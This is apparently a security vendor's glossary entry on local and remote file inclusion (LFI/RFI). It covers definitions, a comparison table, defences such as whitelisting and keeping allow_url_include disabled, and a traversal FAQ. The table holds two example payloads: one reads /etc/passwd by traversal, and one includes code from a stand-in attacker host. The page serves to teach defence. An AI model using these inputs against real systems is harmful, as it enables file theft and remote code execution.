Sovra Recon·Glossary · File Inclusion

File Inclusion (LFI / RFI): Definition, Risks, and Protection

By Solan Barlet, co-founder of Sovra Recon
Updated October 29, 2026

In short

A file inclusion vulnerability occurs when an application loads and interprets a file whose path is provided by the user. With an LFI (Local File Inclusion), the attacker causes the system to include a file already present on the server, which exposes sensitive data and can lead to code execution. With an RFI (Remote File Inclusion), the attacker causes the system to include a file hosted on their own server, whose code is executed directly by the server. These vulnerabilities primarily affect PHP, but also other technologies such as JSP or ASP.

LFI and RFI: The Differences

LFI (Local File Inclusion)RFI (Remote File Inclusion)
Included fileA file present on the serverA file hosted by the attacker
Examplepage.php?file=../../../etc/passwdpage.php?file=https://attaquant.example/code.txt
Direct ConsequenceFile Reading: Configuration, Source Code, SecretsImmediate execution of the attacker’s code
Toward Code ExecutionThis can be achieved by including a file controlled by the attacker (an uploaded file, logs) or via PHP wrappers.Direct
Conditional Statements in PHPNo special configuration requiredThe `allow_url_include` directive must be enabled; it is disabled by default.

How to Protect Against It

  • Never pass user input to an inclusion function (include, require) or a file access function.
  • Use a whitelist: the user chooses an identifier (“home,” “contact”), which the application translates into a fixed path.
  • In PHP, keep `allow_url_include` disabled and restrict accessible directories (`open_basedir`).
  • Prevent code execution in directories where users upload files.

Frequently asked questions

What is the difference between LFI and path traversal?

Directory traversal allows a file to be read from outside the intended directory. File inclusion goes a step further: the file is interpreted by the application, so a file containing code is executed. The two are often combined, with directory traversal used to access the file to be included.

Sources

Find out where an attacker would get in.

Our AI agents actually attack your scope, fully automated, and hand you the proof of every vulnerability.